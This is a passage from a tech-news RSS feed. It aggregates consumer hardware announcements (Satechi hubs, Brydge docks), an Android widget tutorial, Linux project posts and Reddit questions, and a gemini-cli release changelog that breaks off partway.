<content:encoded><![CDATA[Apple made a few compromises to hit a low starting price for its newest budget laptop. The MacBook Neo ships with just two USB-C ports and a headphone jack, missing standard connections like HDMI or SD card slots. To fix this gap, accessory maker Satechi just dropped a brand new collection of hubs and a wireless mouse designed to perfectly match the four bright finishes of the new computer.



Expand connectivity with the portable OntheGo multiport adapter



The OntheGo 5-in-1 Multiport Adapter connects to the MacBook using a short nylon braided cable. It adds 4K video output at 60Hz, an SD card reader, one USB-A data port, and one USB-C data port. Both data ports support transfers up to five gigabits per second. It also allows up to 60 watts of pass-through charging.



This model includes a magnetic base that can attach to MagSafe iPhones and an adhesive ring that mounts directly to the laptop lid. Satechi notes this adapter also works well with standard MacBook Air models, high end MacBook Pro setups, and any USB-C iPad. It costs $44.99 and comes in Citrus, Blush, Indigo, and Silver.



Snag a clean look with the flush USB-C snap hub



If you want a more integrated design, the USB-C Snap Hub skips the cable entirely. It plugs directly into both of the offset USB-C ports on the side of the computer. The flush design looks incredibly clean and was shaped specifically to fit the unique edges of the new entry-level laptop.



This hub costs $44.99 and offers six connections that can all operate at the same time. You get HDMI output at 4K and 60Hz, USB-A and USB-C data ports, plus both SD and microSD card readers. The pass-through charging is slightly lower on this model, capped at 45 watts.



Complete the setup with a colorful wireless slim mouse



To finish off the matching aesthetic, Satechi released the Slim EX Wireless Mouse for $29.99. It features an aluminum body with quiet click switches and a machined metal scroll wheel. You can connect it to two devices via Bluetooth and a third device using an included wireless receiver.



In a rare move for this category, the mouse uses a rechargeable battery that the user can actually replace.



Instead of picking accessories that clash with the colorful design of your new machine, this collection offers a practical and stylish fix. You can grab all three products right now through Satechi or Amazon to give your budget laptop the exact ports you need for daily work.]]></content:encoded>
</item>
<item>
<title><![CDATA[Brydge Expands ProDock Family With Three New Vertical Docking Stations]]></title>
<description><![CDATA[Brydge just dropped some fresh hardware for anyone looking to organize a messy desk. The accessory maker added three new vertical docking stations to its lineup to give users more options to connect their computers to external monitors and accessories. The brand new ProDock Solo, ProDock Duo, and...]]></description>
<link>https://tsecurity.de/de/3670268/ios-mac-os/brydge-expands-prodock-family-with-three-new-vertical-docking-stations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670268/ios-mac-os/brydge-expands-prodock-family-with-three-new-vertical-docking-stations/</guid>
<pubDate>Wed, 15 Jul 2026 12:10:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Brydge just dropped some fresh hardware for anyone looking to organize a messy desk. The accessory maker added three new vertical docking stations to its lineup to give users more options to connect their computers to external monitors and accessories. The brand new ProDock Solo, ProDock Duo, and ProDock Trio are built to keep your laptop standing upright while massively expanding its connectivity without taking up much room.



Three different choices offer varying power and display support



The entry-level ProDock Solo costs $229 and connects via standard USB-C. It delivers 90 watts of charging power and supports a single 4K display. It features seven extra ports, making it perfect for basic setups. If you need more speed, the $399 ProDock Duo uses Thunderbolt 4 technology. It bumps the connectivity up to 10 ports while supporting dual 4K monitors and keeping the same 90-watt charging speed.



The highest tier option is the $459 ProDock Trio. This powerhouse features a massive 80 gigabits per second connection and supports three 4K displays at a super smooth 144Hz refresh rate. It delivers up to 140 watts of charging power and includes 11 ports to handle almost any accessory you want to plug in.



The docks are built specifically for modern Apple laptops



These new stations are designed to perfectly fit recent Apple machines. Both the Solo and the Duo work well with the MacBook Pro and MacBook Air. The massive ProDock Trio is built exclusively for the more demanding MacBook Pro lineup. Each dock features a sleek aluminum body that naturally blends in with the exact look of a modern Mac.



The vertical design does more than just look good on a desk. By holding the laptop straight up, the dock saves a massive amount of physical space in your work area. You can leave all your messy cables plugged directly into the back of the station at all times. When you sit down, you simply slide the computer down into the sleeve to instantly connect to your entire desktop setup.]]></content:encoded>
</item>
<item>
<title><![CDATA[5 wild ways to make Android widgets more useful]]></title>
<description><![CDATA[Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?



Okay, so maybe there has been — erm, lots of times, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google ba...]]></description>
<link>https://tsecurity.de/de/3670233/it-nachrichten/5-wild-ways-to-make-android-widgets-more-useful/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670233/it-nachrichten/5-wild-ways-to-make-android-widgets-more-useful/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?</p>



<p class="wp-block-paragraph">Okay, so maybe there has been — erm, <a href="https://www.computerworld.com/article/1714997/android-features-faded.html">lots of times</a>, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google basically buried, abandoned, and left on the brink of extinction up until its overdue revival in 2021’s <a href="https://www.computerworld.com/article/1616489/24-advanced-tips-for-android-12.html">Android 12 update</a>. (And that revival, by the way, happened for no apparent reason whatsoever. Just a totally random, unprompted change of heart after a decade of indifference. <a href="https://www.computerworld.com/article/1639159/android-missed-opportunity.html">Riiiiiiiiight</a>.)</p>



<p class="wp-block-paragraph">Google may have given up on widgets for a while, but the good news is that (a) they’re back, baby — still now, more than ever, even in <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">our overly AI-obsessed 2026 timeline</a> — and (b) the Android developer community keeps chuggin’ along and coming up with ever-more creative new ways to embrace widgets beyond what Google itself sees fit to give us. That means no matter what <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> your favorite phone is running, you can step up your own Android widget game and give yourself some fresh and fruitful paths to make the most of your phone’s framework.</p>



<p class="wp-block-paragraph">Here, my dear, are some fantastic beyond-the-basics ways to put <a href="https://www.computerworld.com/article/1699499/best-android-widgets-for-busy-professionals.html">your favorite Android widgets</a> to use and change the way you get stuff done on your phone. </p>



<p class="wp-block-paragraph"><strong>[Psst: Love learning new things?</strong> <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Get my free Android Intelligence newsletter</strong></a><strong> to get a tasty new tip in your inbox every Friday.]</strong></p>



<h2 class="wp-block-heading">Android widget enhancement #1: The on-demand home screen pop-up</h2>



<p class="wp-block-paragraph">Widgets are a wonderful way to interact with all sorts of info without ever having to open up apps, but having too many widgets can quickly lead to a cluttered and overwhelming home screen.</p>



<p class="wp-block-paragraph">Well, here’s a neat way to give yourself the benefit of a widget while still maintaining a neat and minimal space for working: An excellent app called <a href="https://play.google.com/store/apps/details?id=com.ss.popupWidget" target="_blank" rel="noreferrer noopener">Popup Widget</a> lets you create an on-demand pop-up widget (get it?!) that looks like a regular ol’ icon on your home screen but then loads any widget you want when tapped.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-popup-widget-1.webp" alt="Android widgets: Popup Widget (1)" class="wp-image-4196884" width="800" height="835" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Any widget, anytime — with Popup Widget on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">You can even get <em>really</em> wild and set up a single icon that opens <em>multiple</em> widgets at the same time — like your inbox and your calendar together:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-popup-widget-2.webp" alt="Android widgets: Popup Widget (2)" class="wp-image-4196885" width="800" height="837" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Popup Widget can even let you summon two widgets together with a single tap.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">Not bad, right?</p>



<p class="wp-block-paragraph">Popup Widget costs two bucks and doesn’t require any special permissions or manners of access. And it’s pretty simple and self-explanatory to set up: Once you install and open the app, it’ll walk you through adding in whatever pop-up widgets you want. You can choose the name and even the icon associated with each one along with its precise placement on your screen and how much the screen behind it should dim when it’s loaded.</p>



<p class="wp-block-paragraph">The app will offer to add the shortcut directly onto your home screen for you then, or you can also find all of your Popup Widget creations by pressing and holding the main Popup Widget icon in your app drawer.</p>



<p class="wp-block-paragraph">Alternatively, if you’re already using <a href="https://www.computerworld.com/article/1723954/android-launchers-for-enhanced-efficiency.html">a custom Android launcher</a> like <a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Smart Launcher</a> or <a href="https://play.google.com/store/apps/details?id=bitpit.launcher" target="_blank" rel="noreferrer noopener">Niagara</a>, you can find similar options for summoning widgets on demand within their settings — no separate apps even required.</p>



<p class="wp-block-paragraph">And that, my widget-loving wallaby, is but our first winning widget possibility.</p>



<h2 class="wp-block-heading">Android widget enhancement #2: The on-demand universal pop-up</h2>



<p class="wp-block-paragraph">If you like the idea of having a widget on demand but would rather have it be available to summon from <em>anywhere</em> instead of just from your home screen, this next wacky widget option is just the thing for you.</p>



<p class="wp-block-paragraph">It comes from a spectacular app called <a href="https://play.google.com/store/apps/details?id=com.ss.edgegestures" target="_blank" rel="noreferrer noopener">Edge Gestures</a>, which works in conjunction with Popup Widget to take that same concept and make it universally accessible. (I told ya it was wacky!)</p>



<p class="wp-block-paragraph">When you first install Edge Gestures, the app will prompt you to enable it as a system accessibility service and to grant it the ability to display over other apps. These permissions sound scary — and <a href="https://www.computerworld.com/article/1613704/android-security-warning.html">they should</a>! — but in the case of this specific utility, they’re absolutely appropriate and necessary in order for it to operate. The former is the only way an app is able to create a custom system-wide gesture, which we need for this setup to work its magic, and the latter is how your widget is able to be shown on top of whatever else you’re doing.</p>



<p class="wp-block-paragraph">(If you’re at all worried, note that Edge Gestures doesn’t request any other significant system permissions. Beyond that, it’s reputable, it’s been around for quite a long while, and it has a large number of overwhelmingly positive reviews.)</p>



<p class="wp-block-paragraph">Where were we? Oh, right: Once you’re inside the Edge Gestures configuration area, you’ll be able to select exactly what gesture you want to use for pulling up your widget. I’d think carefully about finding something that won’t interfere with anything else, like the system-level <a href="https://www.computerworld.com/article/1658581/android-gestures.html">Android gestures</a>, and that’ll be convenient to access without being a command you’re likely to trigger by mistake.</p>



<p class="wp-block-paragraph">So, for instance, you might make the gesture a simple swipe downward along the left side of your screen. To do that, you’d find the “Swipe down” option within the app’s “Left” tab, and you’d set it to “Popup Widget” — and then create or select whatever Popup Widget item you want. And remember: You can select one widget or <em>multiple</em> widgets, too.</p>



<p class="wp-block-paragraph">Prepare yourself for some serious oohing and ahhing:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-edge-gestures.webp" alt="Android widgets: Edge Gestures" class="wp-image-4196887" width="800" height="855" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Your favorite widgets are never more than a swipe away with Edge Gestures on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">As you can see, this opens up a whole new world of mobile multitasking potential. I mean, really: How could you <em>not</em> love that?!</p>



<p class="wp-block-paragraph">The final thing worth doing is going into all the <em>other</em> gesture options in that same configuration area and tapping “Clear” for each of ’em to get rid of Edge Gestures’ default actions. I’d also go into whichever side of the screen you <em>aren’t</em> using — left or right — and tap the toggle to turn the gestures for that side off entirely. That way, you won’t inadvertently activate any gestures that you don’t actually want or need.</p>



<p class="wp-block-paragraph">Edge Gestures costs $2 to use.</p>



<h2 class="wp-block-heading">Android widget enhancement #3: The physical key call</h2>



<p class="wp-block-paragraph">Next, here’s an interesting twist on that same on-demand Android widget idea: You can make any widget especially easy to access from anywhere without even having to mess around with any on-screen swiping by setting one of your phone’s <em>physical keys</em> as a trigger for the widget’s appearance.</p>



<p class="wp-block-paragraph">I’ll give you a second to catch your breath and process the sheer splendor of that sorcery.</p>



<p class="wp-block-paragraph">Back? Cool. So, the <em>key</em> to this feat (har har) is the combination of the aforementioned Popup Widget and a handy Android contraption called <a href="https://play.google.com/store/apps/details?id=io.github.sds100.keymapper&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Key Mapper</a> — which makes it easy to map your phone’s physical keys to all kinds of crazy custom actions.</p>



<p class="wp-block-paragraph">In this case, we’ll set it up so that pressing and <em>holding</em> one of your volume keys causes whatever widget you want to be summoned, like so:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2024/06/floating-android-widget.webp" alt="Floating Android widget" class="wp-image-2144001" width="700" height="722" sizes="auto, (max-width: 700px) 100vw, 700px"><figcaption class="wp-element-caption">Yes, your volume key can cause a widget to appear (whoa!).</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">Pretty nifty, no?</p>



<p class="wp-block-paragraph">I’ve got step-by-step instructions for making this happen in <a href="https://www.computerworld.com/article/2143971/android-widgets-floating.html">this separate guide</a>.</p>



<h2 class="wp-block-heading">Android widget enhancement #4: The floating bubble</h2>



<p class="wp-block-paragraph">If you like the notion of having a widget always available but aren’t so keen on the hidden gesture concept, an app called <a href="https://play.google.com/store/apps/details?id=com.applay.overlay" target="_blank" rel="noreferrer noopener">Overlays</a> will let you create a small floating bubble that you can position anywhere on your screen and then tap to pull any widget up when you want it — just like with <a href="https://www.computerworld.com/article/4185786/google-pixel-android-17.html#:~:text=Android%2017%20Pixel%20feature%20%231%3A%20Bubbles%20multitasking%20magic">Android’s recently revived Bubbles multitasking system</a>, only compatible with <em>any</em> Android device and version and with the simplicity of a widget instead of the complexity of an entire app.</p>



<p class="wp-block-paragraph">Check it out:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-overlays.webp" alt="Android widgets: Overlays" class="wp-image-4196886" width="800" height="852" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Overlays puts a floating icon on your screen for easy ongoing widget access.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">By default, Overlays gives you a bunch of its <em>own</em> little widgets to choose from, but the real power comes from adding in widgets from the Android apps you actually rely on. To do that, tap the “Triggers” tab at the bottom of the Overlays configuration area, then tap the red plus button in the lower-right corner of the screen. Select “Manual,” then type in whatever name you want for your widget and tap the icon to pick any icon you like.</p>



<p class="wp-block-paragraph">Tap “Save,” then select “Widget” and find the widget you want from the list. At that point, you’ll see a preview of the widget. Move or resize it if you like, then hit the arrow in the upper-left corner of the screen to exit out of that interface. Last but not least, tap the name of your newly made widget on the screen that comes up next to change its status to “Always on.”</p>



<p class="wp-block-paragraph">As soon as you head out of the app and back to your home screen, your fancy new widget should pop right up. All you’ve gotta do is tap the little downward-facing arrow in its corner to minimize it down to a bubble, which you can then press and hold to move anywhere your widget-worshipping heart desires.</p>



<p class="wp-block-paragraph">Overlays can also create widgets that automatically appear based on <em>context</em> — so you could have something show up every time you connect to a certain Bluetooth device or Wi-Fi network, for instance. To explore those options, just follow the same steps from above but pick “Event” instead of “Manual” when you reach the “Triggers” tab configuration.</p>



<p class="wp-block-paragraph">Overlays is free with an optional $4 in-app upgrade that removes some ads from the configuration tool and unlocks a handful of advanced features.</p>



<h2 class="wp-block-heading">Android widget enhancement #5: The widget stack</h2>



<p class="wp-block-paragraph">Last but not least in our collection of wacky Android widget possibilities is one of my favorite widget wonders — and that’s the ability to stack <em>multiple</em> widgets and then swipe between ’em on your home screen without having ’em take up any extra space.</p>



<p class="wp-block-paragraph">Check it out:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-smart-launcher-stacked-widgets.webp" alt="Android widgets: Smart Launcher stacked widgets" class="wp-image-4196888" width="800" height="893" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">The space-saving simplicity of stacked widgets, as seen in Smart Launcher.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">This enhancement presents a bit of a choose-your-own-adventure-style path:</p>



<p class="wp-block-paragraph">First, if you’re using a reasonably recent Samsung Galaxy gizmo, the option is should already be present and available in your standard Samsung home screen setup. Just press and hold any open space on your home screen and then select the option to add a widget — then, once the widget is added, press and hold it and look for the “Create stack” command.</p>



<p class="wp-block-paragraph">With any other Android gadget — or even with a Samsung device, if you want extra options and flexibility — you can use a <a href="https://www.computerworld.com/article/1723954/android-launchers-for-enhanced-efficiency.html">custom Android launcher</a> like the aforementioned <a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Smart Launcher</a> or <a href="https://play.google.com/store/apps/details?id=bitpit.launcher" target="_blank" rel="noreferrer noopener">Niagara</a> as well as the retro-geeky T9-themed <a href="https://play.google.com/store/apps/details?id=com.loitran.minimalt9launcher.free" target="_blank" rel="noreferrer noopener">Key Launcher</a> I <a href="https://www.computerworld.com/article/4180222/retro-android-home-screen.html">introduced to you</a> earlier this summer.</p>



<p class="wp-block-paragraph">Those launchers replace your phone’s entire home screen environment and give you all sorts of interesting new possibilities for optimizing your interface and making it especially well-suited for <em>you</em>. And the stacked widget feature is just one small sliver of what they offer and how they’ll transform your Android experience.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-smart-launcher-stacked-widgets-setup.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android widgets: Smart Launcher stacked widgets setup" class="wp-image-4196890" width="1024" height="896" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The setup interface for a widget stack within Smart Launcher.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">So there ya have it: five wacky, wild, wonderful ways to make widgets even more wow-inducing. Some days, you’ve just gotta love Android and the endless customization, control, and power it provides.</p>



<p class="wp-block-paragraph"><em>Put even more Googley goodness in your noggin with</em> <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><em>my free Android Intelligence newsletter</em></a><em> — one exceptional new thing to try every Friday!</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing atrium v0.4.0 - a multiseat display manager]]></title>
<description><![CDATA[atrium is a lightweight Linux display manager with first-class multiseat support, targeting modern systemd + Wayland environments. GitHub AUR What is multiseat? A multiseat setup allows multiple users to work on a single computer at the same time. By connecting multiple monitors, keyboards, and m...]]></description>
<link>https://tsecurity.de/de/3669402/linux-tipps/announcing-atrium-v040-a-multiseat-display-manager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669402/linux-tipps/announcing-atrium-v040-a-multiseat-display-manager/</guid>
<pubDate>Wed, 15 Jul 2026 04:08:46 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><strong>atrium</strong> is a lightweight Linux display manager with first-class multiseat support, targeting modern systemd + Wayland environments.</p> <p><a href="https://github.com/kavau/atrium">GitHub</a><br> <a href="https://aur.archlinux.org/packages/atrium">AUR</a></p> <p><strong>What is multiseat?</strong></p> <p>A multiseat setup allows multiple users to work on a single computer at the same time. By connecting multiple monitors, keyboards, and mice, each user gets their own separate desktop and a fully isolated user session. Great for co-working or multiplayer gaming. Each seat requires its own GPU (integrated graphics, a discrete card, or a USB graphics adapter).</p> <p><strong>Why atrium?</strong></p> <p>The Linux kernel and low-level system stack are fully capable of multiseat operation. The weak link has always been the display manager. Existing ones usually treat multiseat as an afterthought, with implementations that are brittle and difficult to get working reliably.</p> <p><strong>atrium</strong> is designed around multiseat from the start, focusing on correct seat discovery, VT handling, and isolated session management. The project targets a modern Linux stack using systemd/logind, PAM, and a Wayland graphical environment. The lack of historical baggage keeps atrium's code base lean and tractable.</p> <p><strong>What's new in v0.4?</strong></p> <ul> <li><strong>Support for greeter background images</strong> - configure a background image in the settings, or a directory to pick a random image on each greeter launch.</li> <li><strong>Greeter themes</strong> - override built-in colors and styles via a theme `.css` file. A handful of themes are shipped with atrium.</li> <li><strong>Architectural redesign</strong> - making atrium's core architecture simpler and more robust (changes are purely internal and should not be visible to the user).</li> </ul> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/kavaunix"> /u/kavaunix </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uwltsf/announcing_atrium_v040_a_multiseat_display_manager/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwltsf/announcing_atrium_v040_a_multiseat_display_manager/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HFI BIOS for RISC-V: Open Firmware That Could Replace UEFI]]></title>
<description><![CDATA[RISC-V boards boot headless with no display output or BIOS setup. HFI BIOS fixes this by extending U-Boot with a POST-like power-on screen and a classic Award BIOS-style setup utility.]]></description>
<link>https://tsecurity.de/de/3669175/linux-tipps/hfi-bios-for-risc-v-open-firmware-that-could-replace-uefi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669175/linux-tipps/hfi-bios-for-risc-v-open-firmware-that-could-replace-uefi/</guid>
<pubDate>Tue, 14 Jul 2026 23:52:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[RISC-V boards boot headless with no display output or BIOS setup. HFI BIOS fixes this by extending U-Boot with a POST-like power-on screen and a classic Award BIOS-style setup utility.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why is hibernation so hard?]]></title>
<description><![CDATA[First of all, this comes from a place of love. I'm not asking for tech support, I'm genuinely curious. I've tried Linux multiple times, daily drove it on my laptop for a year and would love to keep it that way (Probably won't switch on my main desktop, since I need some Windows DCCs). Linux offer...]]></description>
<link>https://tsecurity.de/de/3668805/linux-tipps/why-is-hibernation-so-hard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668805/linux-tipps/why-is-hibernation-so-hard/</guid>
<pubDate>Tue, 14 Jul 2026 19:35:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>First of all, this comes from a place of love. I'm not asking for tech support, I'm genuinely curious. I've tried Linux multiple times, daily drove it on my laptop for a year and would love to keep it that way (Probably won't switch on my main desktop, since I need some Windows DCCs). Linux offers much sleeker experience.</p> <p>I enjoy some tinkering in my free time (but not that much to use Linux on my work PC). I always tinkered with Windows to some extent. I'm not looking for out of the box solution.</p> <p>But why is it so much fuss to setup hibernation and suspend then hibernate? It's a crucial feature for laptops. To be fair, I have always dual booted with Windows and I understand that is the more complex option. I can bear having hibernation working only on Linux, since I use Windows only when I really need to, but even that takes too much time in the terminal.</p> <p>Am I missing something or is it really always this way? Why is suspend out of the box with no problems?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/hototoCzech"> /u/hototoCzech </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uwf03v/why_is_hibernation_so_hard/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwf03v/why_is_hibernation_so_hard/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mini PC deals for video editing and gaming: I found the best space-saving desktop gear from GMKtec, Geekom, Minisforum, and Corsair]]></title>
<description><![CDATA[These are the top mini PC deals if you're creating a gaming and video editing rig, plus eGPU docks and the perfect PSU to complete your setup.]]></description>
<link>https://tsecurity.de/de/3668263/it-nachrichten/mini-pc-deals-for-video-editing-and-gaming-i-found-the-best-space-saving-desktop-gear-from-gmktec-geekom-minisforum-and-corsair/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668263/it-nachrichten/mini-pc-deals-for-video-editing-and-gaming-i-found-the-best-space-saving-desktop-gear-from-gmktec-geekom-minisforum-and-corsair/</guid>
<pubDate>Tue, 14 Jul 2026 16:18:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[These are the top mini PC deals if you're creating a gaming and video editing rig, plus eGPU docks and the perfect PSU to complete your setup.]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic cyber defense engineering vs traditional exposure validation, what's the difference?]]></title>
<description><![CDATA[I keep seeing the phrase “agentic cyber defense” and “agentic cyber defense engineering” in talks and vendor material. It sounds interesting, but it is not always clear what is actually new compared to the exposure validation and CTEM programs many teams already run. From my current understanding...]]></description>
<link>https://tsecurity.de/de/3666725/it-security-nachrichten/agentic-cyber-defense-engineering-vs-traditional-exposure-validation-whats-the-difference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666725/it-security-nachrichten/agentic-cyber-defense-engineering-vs-traditional-exposure-validation-whats-the-difference/</guid>
<pubDate>Tue, 14 Jul 2026 04:53:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I keep seeing the phrase “agentic cyber defense” and “agentic cyber defense engineering” in talks and vendor material. It sounds interesting, but it is not always clear what is actually new compared to the exposure validation and CTEM programs many teams already run.</p> <p>From my current understanding, traditional exposure validation focuses on running defined assessments that test controls and detections against known TTPs and attack paths. The agentic descriptions I have seen talk about systems that can chain actions together on their own, react to new threat intel, and generate targeted assessments when you describe a scenario in natural language.</p> <p>If anyone has hands on experience with this kind of setup, how different is it really from standard automation and scheduling of assessments? For example, does it genuinely reduce the time between new intel and a validated view of exposure, or is it just a more flexible interface on top of similar checks?</p> <p>I would also like to hear about any pitfalls, such as reliability issues, oversight requirements, or cases where an agent made poor choices that still needed human review.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Academic-Pen-9219"> /u/Academic-Pen-9219 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1uv3i7c/agentic_cyber_defense_engineering_vs_traditional/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uv3i7c/agentic_cyber_defense_engineering_vs_traditional/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260714.gfa975395b]]></title>
<description><![CDATA[What's Changed

fix(core): enrich shared project quota limit errors with setup hint by @amelidev in #28391
fix(a2a-server): ensure task cancellation aborts execution loop by @luisfelipe-alt in #28316
fix(core): simplify plan mode write policy to support relative paths by @DavidAPierce in #28398
f...]]></description>
<link>https://tsecurity.de/de/3666680/downloads/release-v0520-nightly20260714gfa975395b/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666680/downloads/release-v0520-nightly20260714gfa975395b/</guid>
<pubDate>Tue, 14 Jul 2026 03:32:12 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
